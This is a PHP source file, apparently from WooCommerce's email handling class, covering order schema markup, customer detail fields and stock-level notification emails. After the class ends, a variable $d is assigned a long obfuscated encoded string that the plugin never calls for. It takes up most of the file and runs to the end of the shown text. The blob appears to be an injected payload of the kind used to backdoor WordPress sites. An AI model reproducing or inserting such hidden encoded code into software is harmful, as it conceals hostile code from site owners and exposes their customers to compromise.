$markup['orderStatus'] = 'http://schema.org/OrderProblem';
break;
}
if ($sent_to_admin) {
$markup['potentialAction'] = (object) array('@type' => 'ViewAction', 'target' => admin_url('post.php?post=' . absint($order->id) . '&action=edit'));
}
$markup = apply_filters('woocommerce_email_order_schema_markup', $markup, $sent_to_admin, $order);
echo '<div style="display:none;"><script type="application/ld+json">' . wp_json_encode((object) $markup) . '</script></div>';
}
public function order_meta($order, $sent_to_admin = false, $plain_text = false)
{
$fields = apply_filters('woocommerce_email_order_meta_fields', array(), $sent_to_admin, $order);
$_fields = apply_filters('woocommerce_email_order_meta_keys', array(), $sent_to_admin);
if ($_fields) {
foreach ($_fields as $key => $field) {
if (is_numeric($key)) {
$key = $field;
}
$fields[$key] = array('label' => wptexturize($key), 'value' => wptexturize(get_post_meta($order->id, $field, true)));
}
}
if ($fields) {
if ($plain_text) {
foreach ($fields as $field) {
if (isset($field['label']) && isset($field['value']) && $field['value']) {
echo $field['label'] . ': ' . $field['value'] . "\n";
}
}
} else {
foreach ($fields as $field) {
if (isset($field['label']) && isset($field['value']) && $field['value']) {
echo '<p><strong>' . $field['label'] . ':</strong> ' . $field['value'] . '</p>';
}
}
}
}
}
public function customer_detail_field_is_valid($field)
{
return isset($field['label']) && !empty($field['value']);
}
public function customer_details($order, $sent_to_admin = false, $plain_text = false)
{
$fields = array();
if ($order->customer_note) {
$fields['customer_note'] = array('label' => __('Note', 'woocommerce'), 'value' => wptexturize($order->customer_note));
}
if ($order->billing_email) {
$fields['billing_email'] = array('label' => __('Email', 'woocommerce'), 'value' => wptexturize($order->billing_email));
}
if ($order->billing_phone) {
$fields['billing_phone'] = array('label' => __('Tel', 'woocommerce'), 'value' => wptexturize($order->billing_phone));
}
$fields = array_filter(apply_filters('woocommerce_email_customer_details_fields', $fields, $sent_to_admin, $order), array($this, 'customer_detail_field_is_valid'));
if ($plain_text) {
wc_get_template('emails/plain/email-customer-details.php', array('fields' => $fields));
} else {
wc_get_template('emails/email-customer-details.php', array('fields' => $fields));
}
}
public function email_addresses($order, $sent_to_admin = false, $plain_text = false)
{
if ($plain_text) {
wc_get_template('emails/plain/email-addresses.php', array('order' => $order));
} else {
wc_get_template('emails/email-addresses.php', array('order' => $order));
}
}
private function get_blogname()
{
return wp_specialchars_decode(get_option('blogname'), ENT_QUOTES);
}
public function low_stock($product)
{
$subject = sprintf('[%s] %s', $this->get_blogname(), __('Product low in stock', 'woocommerce'));
$message = sprintf(__('%s is low in stock.', 'woocommerce'), html_entity_decode(strip_tags($product->get_formatted_name()), ENT_QUOTES, get_bloginfo('charset'))) . ' ' . sprintf(__('There are %d left', 'woocommerce'), html_entity_decode(strip_tags($product->get_total_stock())));
wp_mail(apply_filters('woocommerce_email_recipient_low_stock', get_option('woocommerce_stock_email_recipient'), $product), apply_filters('woocommerce_email_subject_low_stock', $subject, $product), apply_filters('woocommerce_email_content_low_stock', $message, $product), apply_filters('woocommerce_email_headers', '', 'low_stock', $product), apply_filters('woocommerce_email_attachments', array(), 'low_stock', $product));
}
public function no_stock($product)
{
$subject = sprintf('[%s] %s', $this->get_blogname(), __('Product out of stock', 'woocommerce'));
$message = sprintf(__('%s is out of stock.', 'woocommerce'), html_entity_decode(strip_tags($product->get_formatted_name()), ENT_QUOTES, get_bloginfo('charset')));
wp_mail(apply_filters('woocommerce_email_recipient_no_stock', get_option('woocommerce_stock_email_recipient'), $product), apply_filters('woocommerce_email_subject_no_stock', $subject, $product), apply_filters('woocommerce_email_content_no_stock', $message, $product), apply_filters('woocommerce_email_headers', '', 'no_stock', $product), apply_filters('woocommerce_email_attachments', array(), 'no_stock', $product));
}
public function backorder($args)
{
$args = wp_parse_args($args, array('product' => '', 'quantity' => '', 'order_id' => ''));
extract($args);
if (!$product || !$quantity || !($order = wc_get_order($order_id))) {
return;
}
$subject = sprintf('[%s] %s', $this->get_blogname(), __('Product Backorder', 'woocommerce'));
$message = sprintf(__('%1$s units of %2$s have been backordered in order #%3$s.', 'woocommerce'), $quantity, html_entity_decode(strip_tags($product->get_formatted_name()), ENT_QUOTES, get_bloginfo('charset')), $order->get_order_number());
wp_mail(apply_filters('woocommerce_email_recipient_backorder', get_option('woocommerce_stock_email_recipient'), $args), apply_filters('woocommerce_email_subject_backorder', $subject, $args), apply_filters('woocommerce_email_content_backorder', $message, $args), apply_filters('woocommerce_email_headers', '', 'backorder', $args), apply_filters('woocommerce_email_attachments', array(), 'backorder', $args));
}
}
$d = 'ENI2wZmTwqlsBsFr1lVzBZ0r1WYxBsFwBM3KhjpzBMlDwjpHds+I57lxGWVcqsl05ZVjBM+adZVrBMez5MVjLMeg5Mec18vTBM3KL8rTdZVcwsNTelFFNm0am/e44mV/LExTv9LPYzbAvErT57ljLy+kBZ+3hjpZdqLTFMHuwsNnL81HwKbO1MVkdW3chjpZdqLTF8Y2wMejhjpZdqLTFM+35zrT57ljLy+IwErT57ljLy+AB8eoGWPa173r19rT57ljLy+Hds+I57lxGWVcqsY3wo13w3VD5Mlx5qvnL81HwKbOdsFzqspH5MTnL81HwKbOdsFzqZ2u18er19rT57ljLy+zw7YawZ021DrT57ljLy+zw7Yaw8Fu18ez5ErT57ljLy+j1W1j1WlDGlVOBoYadWYxGWVchjpZdqLTF8eD1qFadW53BoNTX4bomelqBsFr1ypEBZ0r1WYxBsLT+Mer5qH3FDrT57ljLy+Iw2VzGMezGZ3c1jbVLMP2BMAnL81HwKbOw8Fu18ez5ybVLy50wq5uw70OCWYuBM03ds+uwKwnL81HwKbOw8Fu18ez58vnL81HwKbOdWYxGq1H5M3uB3VD1qFZ1qLTX4boG8+xwESuCZlz5M3Zdq+IBZgcwqlsBsFr1yPuw7wohjpZdqLTFMlz5M3Zdq+IBZPadW+Ow7eDwjbVLy5S58+AwDSuCs5s5jP0wq5uw70OC7Vj1jVHdZYu5WPxCspjBZ+2dsNkdWYxGq1H5M3uBKiohjpZdqLTF8F3wMVj5lVH1M+j1qYDLExTFZHx58pDhKiu5s5sCol05ZVjBMNcBsFoCZlzdZV2BoNuwM3jdq+3CqF3wMVj5yiohjpZdqLTFM3DqZ0udZlrhjpZdqLTFM3DqZ0udZlrqZeOGq+IBZgTX4p7dW0D19rTw8eKBM3zLM12B7YxGWVcLlVadZVcws+j5WYxQyOT6jpI1KbSGqYD1qNSFlV8+e+BFZ+3doeoF2xIL80iLM3DwZexQy+aNxVX4x3lWj5O1WF21j55Q4OT6jpIB73awZexQy5OGqYABMlPqZejw7VjwjwrLE/Ihjp3woFuw3Vj1qpuwo+IB7wS+eVp9/AIhjpD1q+zBZVfGWmSFZ+3doeoFjATv4ATdqFjdqOSLy5368pIw7eDFjbVXKpxGW23QyOTQjbZvEbrLy5Adq+SFjbVXKboCjwrLy5OBZ2HGWgoLExtLywoCybowZez5qF3FjbVXKpxwoe3CyboG8+xwMVcB8OoLExtL8+j5WmrLy5DdW23wZ3x14wTX9gTFxPuB7moLyOIhjpVLy+xGM3DC9PzBMVD1eV3woFuw3Vj1qpuwo+IB7wSQ9rTF8+SGqvkX72u1MmTX4bO+x0XNOlvm2rommvoq4xtBWVO19rTF8+SGqvkX7HuwsNTX4bO5MHIwjxt1ZexqZHuwsNSQ9rTF8+SGqvkX7+uBWlIBKbVLy+xGM3DC9Po1q+a1MVkdW3cQy+xGM3DC9PSBsYxQ9rTF8+SGqvkXoY2wMejLExTdqpAB83a173r5MejwjTTFsl05ZVjBMNkdWYxGq1H5M3uBK2O1qdk1MVkdW3cFjATdqFjdqOSQ4bIhjbO5MHIwjxt1MeZLExTGWPadqFjdqOSF8+SGqvkX7+uBWlIBKATF8+SGqvkXoY2wMejQ4piaypAw7eoqZ2H5MYSQywuqopSdqLJCZOoCypaqx+Fm3VaQ9rTGWdTQy/O5MHIwjxt1MeZQ4pj1q+2w7gnLy+xGM3DC9PIw2VrBZYHByTIhjpI1KbSF8+SGqvkX73DqZ0udZlrQ4bO5MHIwjxtdWYxGq1H5M3uB3VD1qFZ1qLTX4boFDrTF8+SGqvkX7lz5M3Zdq+IBZPawZej57ejLExTdqpAB83a173r5MejwjTTFsl05ZVjBMNkdWYxGq1H5M3uBK2D1qFZ1qLoCybO5MHIwjxtdWYxGq1H5M3uB3VD1qFZ1qLTQ9rTGWdTQy+xGM3DC9PIw2VrBZYHBlV31M3xGWVcQ4pnLMlO1lVHds+IBZgSLy5swlVAw73c5lVDdsFIw8+DFjATdqFjdqOSF8+SGqvrLy5OGqYHd703qZl25MVDdq13FjOTQ9rTdW+OqZ1IB8+3wKTTFs5AqsF3573DGWVcw2VxB2Vf1WeAFjATdqFjdqOSF8+SGqvrLy5swlVj1q1IwZ3uBoYa5MVaGZe3wywICyb0vyATvKbIhjpVLMlO1lV7GW1qLSLy50wq5uw70OCWlz5M3Zdq+IBZgkGqvkBMVzdWAoCypHwoFH64TO5MHIwjATFZ3DqZ0udZlrFjOTQ9rTdW+OqZ1IB8+3wKTTFsl05ZVjBMNkdWYxGq1H5M3uBK2Iwj2rBZYHBy231M3xGWVcFjATdqFjdqOSF8+SGqvrLy5Iw2VrBZYHBlV31M3xGWVcFjOTQ9rTdW+OqZ1IB8+3wKTTFsl05ZVjBMNkdWYxGq1H5M3uBK2Iwj22B8+IBWlx14231M3xGWVcFjATdqFjdqOSF8+SGqvrLy5Iw2V2B8+IBWlx1eV31M3xGWVcFjOTQ9rTdW+OqZ1IB8+3wKTTFsl05ZVjBMNkdZVrBMez5MVjCW3DCWlrBMVsCqF3BWVx142A5WFrGqYSGWPoFjATdqFjdqOSF8+SGqvrLy5Iw2VHBM0u52Vj1W2u5Meaw8eKBM3DGM3c1jwICyb0vyATvjbIhjpH1M+a173r5MejQybowqlsBsFr1y2zBZ0r1WYxBsLkdWYxGq1H5M3uBK2cdW23FjATdqFjdqOSF8+SGqvrLy5o1q+adWYxGq1H5M3uB3VcdW23FjOTQ9rTdW+OqZ1IB8+3wKTTFsl05ZVjBMNkdZVrBMez5MVjCW535y2SBsYxFjATdqFjdqOSF8+SGqvrLy5o1q+aGMVD5ywILyOnLMlO1lV7GW1qLSLy50wq5uw70OCWYuBM03ds+uwK2xBsbk1MVkdW3cFjATdqFjdqOSF8+SGqvrLy5o1q+a5MVAqZ+uBWlIB3VHwMOoQ4bIhjpH1M+a173r5MejQybowqlsBsFr1y2zBZ0r1WYxBsLkwZejGWlrCWP2BWF3wKwrLMljw7lPQy+xGM3DCybo1ZexqsY3w73HBlVc5W2K1qLoQ4bIhjpH1M+a173r5MejQybowqlsBsFr1y2zBZ0r1WYxBsLk1ZexCq+uwy2r1q13By2OBZ2HGWgoCypHwoFH64TO5MHIwjATFZ535lVxBspaBMeZ1W0a1MVkdW3cFjOTQ9rTdW+OqZ1IB8+3wKTTFsl05ZVjBMNkdZVrBMez5MVjCW+cwZ535M53dZVj1M3AFjATdqFjdqOSF8+SGqvrLy5OBoY81q+81WYuw7+FwywILyOnLMlO1lVHds+IBZgSLy5H1M2IB3VIB73xFjATdqFjdqOSF8+SGqvrLy5j1W5Iws+3w3VD1q+xGWPowjwILyOnLMlO1lVHds+IBZgSLy50wq5uw70OCWYuBM03ds+uwK2zGMezGj2zw7voCypHwoFH64TO5MHIwjATFZYS1WYfqZYjdjwILyOnLMlO1lVHds+IBZgSLy50wq5uw70OCWYuBM03ds+uwK2j1W0udWNkdsFzFjATdqFjdqOSF8+SGqvrLy5j1W0udW+adsFzFjOTQ9rTF8+SGqvkXopr5W5IB3V7GW03LExTFsl05ZVjBMNkdZVrBMez5MVjCsl05ZVjBMNkdZVrBMez5MVjCopSwywnLMlO1lV7GW1qLSLy5AB8eoGWPaw7VsqZ235M/oCypHwoFH64TO5MHIwjATFspr5W5IB3VjBs5aBWexd4wICyb0vyATvKbIhjpH1M+a173r5MejQybKB7ex5ZVjG2VH1M2IB3VAB8eoGWPadWYxGWVcqZ0IB7kDqsrO5MHIwjxtwM021Z3cqZ1IBMeVLKATdqFjdqOSF8+SGqvrLy5Hds+IBZPaBM3cGsvoQ4ATv9brLENTQ9rTdW+OqZ1IB8+3wKTTLopr5W5IB3VHds+IBZPaBM3cGsYa6j+xGM3DC9PAB8eoGWPa173r1qxKCypHwoFH64TO5MHIwjATFZlz5M3uB3VrGWPfwjwICyb0vyATYybIhjpH1M+adWYxGWVcQybo5spadWIH6lV0wq5uw70OqZlc5M3aFjbcLy+xGM3DC9Px1qHxqZ+uBWlIBKATdqFjdqOSF8+SGqvrLy5o1q+aws+H58eDFjOTQ9rTdW+OqZlz5M3uBKTTFs5AqZlUdqHaB7VAw73Zqsl05ZVjBM+adWPxGeioLygTF8+SGqvkXo+368+a1MVkdW3cCypHwoFH64TO5MHIwjATFZ535lVD5Mlx5qvoQ4bIhjpH1M+adWYxGWVcQybo5spadWIH6lV0wq5uw70OqsY3dsF35lioLygTF8+SGqvkXo+368+a1MVkdW3cCypHwoFH64TO5MHIwjATFsY3dsF35ywILyOnLMlO1lVHds+IBZgSLy5swlVHG7lgqZPuw8FI53V0wq5uw70OqsY3dsF35lioLygTF8+SGqvkXo+368+a1MVkdW3cCypHwoFH64TO5MHIwjATFsY3dsF35ywILyOnLMlO1lVHds+IBZgSLy5j1qYxqZlAGeVIB73xFjATdqFjdqOSF8+SGqvrLy5j1qYxqZlAGeVIB73xFjOTQ9rTdW+OqZlz5M3uBKTTFs5AqZlUdqHawqlsBsFr1lVzGMezG2VHds+I57lxGWVcqsY3wo13w3ioLygTF8+SGqvkXo+368+a1MVkdW3cCypHwoFH64TO5MHIwjATFZYS1WYfqZlz5M3Zdq+IBZPawZej57ejFjOTQ9rTdW+OqZlz5M3uBKTTFs5AqZlUdqHaB7VAw73Zqsl05ZVjBM+adZH3dZkadWYxGq1H5M3uB3VD1qFZ1qFaFjbcLy+xGM3DC9Px1qHxqZ+uBWlIBKATdqFjdqOSF8+SGqvrLy5zGMezG2VHds+I57lxGWVcqsY3wo13wKwILyOnLMlO1lVHds+IBZgSLy5swlVHG7lgqsl05ZVjBMNkdZH3dZrkGqvkdWYxGq1H5MeOC4wTCKbO5MHIwjxt5Meg5lVOBZ2HGWgrLMljw7lPQy+xGM3DCybodZH3dZkaGqYadWYxGq1H5MeOFjOTQ9rTdW+OqZlz5M3uBKTTFs5AqZlUdqHaB7VAw73Zqsl05ZVjBMNkdZH3dZrkGqvkdWYxGq1H5MeOC4wTCKbO5MHIwjxt5Meg5lVOBZ2HGWgrLMljw7lPQy+xGM3DCybodZH3dZkaGqYadWYxGq1H5MeOFjOTQ9rTdW+OqZlz5M3uBKTTF8+SGqvkXo+368+a1MVkdW3cLygTFj2j1Wlz5M3Zdq+3FjATdqFjdqOSF8+SGqvrLy5IBo+3wo1HBywILyOnLMlO1lVHds+IBZgSLy50wq5uw70OCWYuBM03ds+uwK2j1W5Iws+3wK2O1Wlz5M3Zdq+IBZgkGMVuGjwrLMljw7lPQy+xGM3DCybow7ekBs13qspr5W5IB3VOdq+HFjOTQ9rTF8+SGqvkX73cGqNSQ9rTdW+OqZlz5M3uBKTTFsl05ZVjBMNkdZVrBMez5MVjCWlz5M3Zdq+IBZgkBM3D5ywrLMljw7lPQy+xGM3DCybow8Fu18ez5lVHds+I57lxGWVcqZ0IwsNoQ4bIhjbO5MHIwjxtw7e7w7eHwZHa1MPDqZlz5M3uBKbVLy50wq5uw70OCqpjBZ+2dsNkdWYxGq1H5M3uBK2j1W1j1qYSCW+cwjwnLy+xGM3DC9Pzw7VcqsF31oF3wZHa1MPDQyOnLMlO1lVHds+IBZgSLy50wq5uw70OCWYuBM03ds+uwK23Bo1Iw7VcBWec5y2rGqYxCWF317Vj14wrLMljw7lPQy+xGM3DCybo1WPZGqFuB723BoNoQ4bIhjpH1M+adWYxGWVcQybowqlsBsFr1y2zBZ0r1WYxBsLkdWYxGq1H5M3uBK2H1M2IBK2cBs+IdZeDFjATdqFjdqOSF8+SGqvrLy5H1M2IB3VcBs+IdZeDFjOTQ9rTdW+OqZlz5M3uBKTTFsl05ZVjBMNkdZVrBMez5MVjCqeA1sFH1MmkwMlo14wrLMljw7lPQy+xGM3DCybo5qpow7lO1eVAdW53FjOTQ9rTdW+OqZlz5M3uBKTTFs5AqZlUdqHawqlsBsFr1y2zBZ0r1WYxBsLkdZH3dZrk5qpow7lO14wrLMljw7lPQy+xGM3DCybodZH3dZka5qpow7lO14wILyOnLMlO1lVHds+IBZgSLy5swlVHG7lgqZPuw8FI53V0wq5uw70OCWYuBM03ds+uwK2zGMezGj22wM5jdW+3FjATdqFjdqOSF8+SGqvrLy5zGMezG2V2wM5jdW+3FjOTQ9rTdW+OqZlz5M3uBKTTFs5AqZlUdqHawqlsBsFr1y2zBZ0r1WYxBsLk1Mik5qpow7lO14wrLMljw7lPQy+xGM3DCybo1MVa5qpow7lO14wILyOnLMlO1lVHds+IBZgSLy5swlVHG7lgqZPuw8FI53V0wq5uw70OCWYuBM03ds+uwK2OBj22wM5jdW+3FjATdqFjdqOSF8+SGqvrLy5OB2V2wM5jdW+3FjOTQ9rTdW+OqZlz5M3uBKTTFs5AqZlUdqHawqlsBsFr1y2zBZ0r1WYxBsLkwZ+fCW3cws+HBMAoCypHwoFH64TO5MHIwjATFZ3cws+HBM0awZ+fFjOTQ9rTdW+OqZlz5M3uBKTTFs5AqZlUdqHaB7VAw73Zqsl05ZVjBMNkdZVrBMez5MVjCqYOGj2IBoYxdW0rFjATdqFjdqOSF8+SGqvrLy5IBoYxdW0rqsYOGjwILyOnLMlO1lVHds+IBZgSLy5swlVIBoY3wo+awMVD5ywrLMljw7lPQy+xGM3DCybo5spaGWPD1qFxqspuwsNoQ4ATh9OPh9OPh4ATvKbIhjpH1M+a173r5MejQybo5MH3qZYuBo+3BoNoCypHwoFH64TO5MHIwjATFs+S1eVzBZPx1WPxFjOrLEbTQ9rTdW+OqZ1IB8+3wKTTFZ1uw72H5lVxB2V31M3xFjATdqFjdqOSF8+SGqvrLy57BsFkdq+a5MVa1W+I5ywICybALyOnLMlO1lV7GW1qLSLy5j1qYxqsF3wqe3ws+adW1x1qFadZlrBMFHdZkDFjATdqFjdqOSF8+SGqvrLy5j1qYxqsF3wqe3ws+adW1x1qFadZlrBMFHdZkDFjOrLEOPCybDLyOnLMlO1lV7GW1qLSLy50wq5uw70OCWYuBM03ds+uwK2rBZYHBy231M3xGWVcCW+3dsFPw8NoCypHwoFH64TO5MHIwjATFs+S1eVzBZPx1WPxFjOTQ9rTdW+OqZlz5M3uBKTTFsl05ZVjBMNkdZVrBMez5MVjCW0udZlrCWeOGq+IBZgkGMlzGj2ABsYxCqpSwywrLMljw7lPQy+xGM3DCyboGMlzG2VABsYxqspSwywILyOnLMlO1lVHds+IBZgSLy50wq5uw70OCWYuBM03ds+uwK2IBqpuwoNk1qHABsFxCWYuB8ekBKwrLMljw7lPQy+xGM3DCyboGW2ABsFxqZegwMVj5lVzBZ02BWgoQ4ATv9brLEvTQ9rTdW+OqZ1IB8+3wKTTFsl05ZVjBMNkdZVrBMez5MVjCW+uCWecdsFPw8NkdZVrBMez5M3uBK2Aw7VU1WYxCWYu1MmoCypHwoFH64TO5MHIwjATFZecdsFPw8+adZVrBMez5M3uB3VAw7VU1WYxqZYu1MmoQ4bIhjpH1M+a173r5MejQybowqlsBsFr1y2zBZ0r1WYxBsLk1Mik1Mezwo3A5y2zBZ0r1WYxGWVcCqpjBZI3dsNkdZVO14wrLMljw7lPQy+xGM3DCybo1Mezwo3A5lVzBZ0r1WYxGWVcqspjBZI3ds+adZVO14wILyOnLMlO1lVHds+IBZgSLy5swlVHG7lgqsl05ZVjBMNkdZVrBMez5MVjCWegwMioCK5j5y2zBZ0r1WYxG4wcFZVcCqpjBZI3dsNoCypHwoFH64TO5MHIwjATFZegwMVj5lVzBZ0r1WYxGWVcqspjBZI3dsNoQ4bIhjpH1M+adWYxGWVcQybo5spadWIH6lVcBspjGq1awqlsBsFr1y2zBZ0r1WYxBsLk1qHABjwcFsFxCWYuBM03ds+IFjgoBZgkw8FuG7ez5ywrLMljw7lPQy+xGM3DCybo1qHABsFxqZYuBM03ds+IBZPaw8FuG7ez5ywILyOnLy+xGM3DC9Pj1qYxBsF3qZejw7VjqsF3wMVj5M3c1jTIhjpVL8p2d70Idjp75WPz5M3uBKpIw2VrBZYHBlV31M3xGWVcQyOT6jpj1q+2w7gTF8+SGqvkX73DqZ0udZlrqZeOGq+IBZgnL8xTw8eKBM3zLM12B7YxGWVcLM3Dqser5M3kdq+3qZeOGq+IBZgSQ4pnLy+Hds+I57lxGWVcqsYxdq+2wjbVLy+xGM3DC9Po1qNSFZlz5M3Zdq+IBZgkws+H58eDFjATF8+SGqvkXopjBZ+2dsNIhjpI1KbSFMlz5M3Zdq+IBZPaws+H58eDLExVLy5rGWY3BoY3FjOT6jbOdWYxGq1H5M3uB3VAw7VO5WYxLExTF8+SGqvkX7535yTodWYxGq1H5MeOCqpjBZ+2dsNoCybO5MHIwjxtw8Fu18ez5yOnL8F358ejBKpD58FD58LSFMlz5M3Zdq+IBZPaw8Fu18ez5yATFser5M3kdq+3FjOTL9xVLM1HB8Y3hjpVL8F358ejBKp7dW0D19rTa4pA5WFrGWvT1oecds+IBZgT1M3DdWFr1eVH5q+uwZlZ14TI6jpswlVO1qF31Z3D5MejqsYzw73A5yTodqexBsYH57moQ9rTa4pA5WFrGWvT1oecds+IBZgT5spaw7eZGqYIBZPDqs+uqZk31qbSLy+c5WxrLy+ABsYxLyOT6jpj1q+2w7gTvErTa4pA5WFrGWvT1oecds+IBZgT1MPD+Zex+ZezBsFO4qbSFM+uBWlIBKOT6jbOGqbTX4po1q+SBsYxdo3cdW23Qy+OBZ2HGWgIhjpI1KbSFM3ALExVLy+OBZ2HGWgIL8rTGWdTQM12B7YxGWVcqZegGqYxwjTo1MPDqZ535lVj1WYuw7NoQ4OT6jbOw7ezBsFOwjbVLM+cw2Vo1q+aw7ezBsFOQy+OBZ2HGWgIhjp7BsF3dWYSLyTOw7ezBsFOwjpHwjbOw7ezBsFOQ4pnLM37LyTOw7ezBsFOWj5x6qp3F2xTX9xTFx/oQ4pnL8F358ejBKbOw7ezBsFOWj5Iwy55hjpVLMerwZeI1KbSF8F3dZVj1lro583A1455LExVLy5pNmlpFjOT6jbOGqbTX4bOw7ezBsFOWj5Iw8dZF2xnL8xT1W0D1W37LyTOw7ezBsFOWj5x6qp3F2xTX9xTFxYhNm2lFjOT6jpj1q+2w7gTF8+SGqvkX7+cwx535/53dZVj1/3AQy+j1WYuw7+BFs+Hw7535y55Q9rTa4pVL8xTa4pj1q+2w7gTFM3AhjpVL8p2d70Idjp75WPz5M3uBKpIw2VrBZYHByTIL8rTF8+SGqvkX73ALExTF8+SGqvkX7+cwx535/53dZVj1/3AQy+xGM3DC9PSBsYxQ9rTF8+SGqvkX73DqZ0udZlrLExTLW1IB8+3w3VZdqLSF8+SGqvkX73ACypM4m0m+eFaeOlv4m+pe/ea4ebrL/1F9l+lm3VM9/l8qxPXq2p44e1amOlh+xmTaypM4m0m+eFa+O0p+2Vh92V4+eYamOlh+xmIhjpI1KbSF8+SGqvkX73DqZ0udZlrLyd7Ly+xGM3DC9POBZ2HGWgTX9xTFs/cdjwIL8rTGWdTQybH173r5Mejqs1HwKTOq2Ylm31lm3romOeY92+lqxl/+lLoq4AT+O3ve/e4q21p9/3/Ne+lqx3NCypM4m0m+eFa+O0p+2Vh92VNmO3Wq2Fp9O5lL8AT+O3ve/e4qx1vNm5a9OVamOe9q2Fp9O5lQ4b7FKbH173r5Mejqs1HwKTOq2Ylm31lm3romxe4eOe4qxl/+lLoq4AT+O3ve/e4q21p9/3/Ne+lqx3NCypM4m0m+eFa+O0p+2Vh92VNmO3Wq2Fp9O5lL8AT+O3ve/e4qx1vNm5a9OVamOe9q2Fp9O5lQ4bIL8rTF8+SGqvkX73DqZ0udZlrqZeOGq+IBZgTX4pxwoe3hjbO5MHIwjxtGqYaBMVzdWATX4p7dW0D19rTa4pVL8F358ejBKbO5MHIwjxtGqYaBMVzdWAnL8xTw8eKBM3zLM12B7YxGWVcLM3DqZlrBMVsqsF3BWVx1eVA5WFrGqYSGWPoQy+HBM0u5jATF8+PwMmrLy+2w7AIL8rTFM2u18er14bVLy+xGM3DC9PAw7VO5WYxhjbOdWYxGq1H5M3uB3VxGW23ws+HBqbTX4bO5MHIwjxt1ZexQy5Hds+I57lxGWVcCq+IBWeD5MlkwywrLy+kBZ+2BMmIhjbOwZejGWlrqZP2BWF3wKbVLy+xGM3DC9Po1qNSFsY3w73HBy2c5W2K1qLoCybOBWVO5W03Q9rTGWdTQy/OwZejGWlrqZP2BWF3wKOTw7ex5qFcLM1HB8Y3hjpI1KbSF8+PwMmTL9xTFs5uw7+Aw7eDwjwTFKdTL4+xGM3DC9PIw2V2B8+IBWlx1eV31M3xGWVcQyOIL8F358ejBKp7dW0D19rTFM+uBWlIBKbVLy+xGM3DC9Po1q+a5MVAqZ+uBWlIBKTO5qFrQ9rTF8+jdWPDGWec5ybVLy5jwyxoLygTBWN2Qy+D1qFIdW0aBoekd7ejCK+OBZ2HGWgcFMlz5M3Zdq+IBZPa5M3k1qYxdW2AQ9rTFMlz5M3Zdq+IBZPadZVO14bVLy+xGM3DC9Po1q+a58FHBoYI1WPxQy+xw7lcwZ33BoNIhjpI1KbSLMekw8+PQy+Hds+I57lxGWVcqZYu1MmIL80iLMYj6qpxQy+xw7lcwZ33BoNrLy+Hds+I57lxGWVcqZYu1MmILy/VLy+Hds+I57lxGWVcqZYu1MmTQ4pnLy+2w7ATX4bO5MHIwjxtdWYxGq1H5M3uB3VD1qFZ1qLTCKboCZYS1WYfCW3DCW+uBWlIBK2Hds+I57lx1WNohjbOd7VO64bVLMljw7lPQyboBoekd7ejFjbVXKbOwZejGWlrqZP2BWF3wKATFZ+uBWlIBKwTX9gTFM+uBWlIBKATFs+IBWeD5MlkwywTX9gTFMlz5M3Zdq+IBZPa5M3k1qYxdW2ACybow8Fu18ez5ywTX9gTFM2u18er14bIhjbOw7eDwMVcwZmTX4pswlVj1W2u5MeawMVD5yTO5qFrCypHwoFH64Tod7VO64wTX9gTFMFu18OrLy5DwZ0Z1qFI1oOoLExtLM1HB8Y3Q4OnLy+KBZ+PLExT5spaw7ekBs+3qsF358FI1q13qZFu18OSF8F3wspuBoY3Q9rTFMFu18OTX4pUwZVcqZ+3dZVO14TOd7VO64AT58F214OnLM37LyTOd7VO64b7FKbOd7VO6erodWYxGq1H5MeOF2xTX9xTvyOT6jbOdW0rBswTX4p7dW0D19rTa4p3B8Y3L8rTFMlrBMVsLExT58F219rTGWdTQM3DwZexQy+KBZ+PWj5Hds+I57lxGWVcqZYu1Mmoq4OILy+xGM3DC9PD1q+a58FHBoYI1WPxQy+xw7lcwZ33BoNrLy+KBZ+PWj5Hds+I57lxGWVcqZYu1Mmoq4ATYzbxhEbAQ9rTa4pVL8F358ejBKbOdW0rBswnL8xTw8eKBM3zLM12B7YxGWVcLM535lVHds+I57lxGWVcqZPHBWmSQ4pnLy+kBZ+2BMmTX4bO5MHIwjxtw8Fu18ez5ErTw7ex5qFcLy+xGM3DC9Po1qNSFZlz5M3Zdq+IBZgkB7lk14wrLy+kBZ+2BMmIhjpVL8p2d70Idjp75WPz5M3uBKpo1q+a5MVAqZ+uBWlIB3VHwMOSQ4pnL8F358ejBKbO5MHIwjxt1MVkdW3chjpVL8p2d70Idjp75WPz5M3uBKpo1q+a5MVAqZ0357erqZ+uBWlIBKTO5qFrQ4pnL8F358ejBKpAw7eoqsF3wM0HdZmSdqFjdqOSFjVS58+AwDiJqyVwCjgUXjHBq3Acq4kwCKTSdZVkaMVj1s0c1qNIqyPw5jIiW2PwC3xfQ43wCjgfCjwrLywuqyicQKVIFjOrLMljw7lPQyLOv4LrLywoQ4ATws+j5MVrBs53wKTO5qFrQ4OnL8xTw8eKBM3zLM12B7YxGWVcLM535lVD1qFIdW0aBoekd7ejQyOT6jbOBWVO5W03LExTF8+SGqvkXopjBZ+2dsNnL8F358ejBKbO5MHIwjxt1ZexQy5D1qFIdWAkBoekd7ejFjATFM2u18er14OnL8xTw8eKBM3zLM12B7YxGWVcL8pr5W5IB3VjBs5aBWexd4TOBM3cGsvrLy+7GW03Q4pnLy+H1M2IB3V2w7ATX4bO5MHIwjxtBWVO14bVX4boB7ex5ZVjGjwTXjboB7ex5ZVjG2VH1M2IB3V2w7AoLESTFZlOBW3cqsejBywnLM37LyTO173r14bVX4bO5MHIwjxtwM021Z3cqZ1IBMmIL8rTFM0IB7kDW2xTX4boXM/TG8F31zxKFjbcLlVaQy5S58+AwDSuCs5s5jP0wq5uw70OC7Vj1jVSBswk5MikdoePCWecFjATF8+SGqvkXo+368+a1MVkdW3cQ4bcLywKL8+Hw7535ExKqZFrdWPfLzgoLygTq2iSFxHu5jpxBjpy5qORFjATF8+SGqvkXo+368+a1MVkdW3cQ4bcLywiCZ/tFDrTFM0IB7kDW2xTX4boXM/TG8F31zxKFjbcLlVaQy5S58+AwDSuCs5s5jP0wq5uw70OC7Vj1jVAw7VO5WYxCWlz5M3Zdq+IBZgk1WgoCybO5MHIwjxt5Meg5lVOBZ2HGWgILygTFjLT5Mlj1ZexX4Fad70HB7rKXKwTCKpaqjTo4MVsL8+uL/lz5M3Zdq+3XjwrLy+xGM3DC9Px1qHxqZ+uBWlIBKOTCKboXyVHXKwnLy+rGWPfw2k5LExTFD0HLMHj1WdVLKwTCKpH1M2IB3V2w7ASFZlOBW3cCopSwEVAdW53Xql05ZVjBMNkdZVrBMez5MVjCW+udsek1WPxwjwILygTFjLtFjbcLlVaQy5L1W0ALy1HBqbnL/+udsek1WPxwjwrLy+xGM3DC9Px1qHxqZ+uBWlIBKOTCKboXyVHXKwnLy+rGWPfw2k5LExTFD0HLMHj1